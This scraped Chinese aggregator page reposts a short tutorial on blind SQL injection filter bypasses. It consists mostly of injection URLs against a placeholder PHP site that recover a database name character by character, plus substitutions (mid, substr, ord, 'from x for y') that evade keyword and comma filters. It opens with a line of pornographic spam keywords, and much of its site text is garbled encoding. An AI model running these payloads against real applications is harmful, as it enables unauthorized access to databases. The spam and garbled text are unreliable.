日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

盲注 绕过技巧

發(fā)布時(shí)間:2025/3/20 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 盲注 绕过技巧 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


http://www.x.com/sections_intr.php?id=181 and length((database()))=4


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),1,1))=122 ??


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),2,1))=122?


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),3,1))=102?


http://www.x.com/sections_intr.php?id=181 and ascii(substring((database()),4,1))=121?



substring過(guò)濾的時(shí)候替換成mid

http://www.x.com/sections_intr.php?id=181 and ?ascii(mid(database(),1,1)) =122

substring過(guò)濾的時(shí)候替換成substr ??substr() ?Mid()等價(jià)于 substring() 函數(shù)

http://www.x.com/sections_intr.php?id=181 and ?ascii(substr(database(),1,1)) =122


當(dāng)然還可以使用?substring mid ?left right ?substr REGEXP?

盲注簡(jiǎn)單的來(lái)說(shuō) 就是一個(gè)字符 一個(gè)字符一個(gè)字符匹配


ascii過(guò)濾的時(shí)候替換成ord

http://www.x.com/sections_intr.php?id=181 and ?ord(mid(database(),1,1))=122


繞過(guò)不能使用使用逗號(hào)的情況

ascii(mid(user(),1,1))=150

繞過(guò)的方法是使用from x for y。語(yǔ)法類似:

mid(user() from 1 for 1)

substr(user() from 1 for 1)

以上同樣是從第一個(gè)字符開(kāi)始,取一位字符。

那么,不帶逗號(hào)注入的語(yǔ)法,就可以變成:

mysql> select ascii(substr(user() from 1 for 1)) < 150;




122=z ?102=f ?121=y

庫(kù)名:zzfy

ascii碼表 http://app.baidu.com/app/enter?appid=218548

轉(zhuǎn)載于:https://blog.51cto.com/0x007/1599005

總結(jié)

以上是生活随笔為你收集整理的盲注 绕过技巧的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。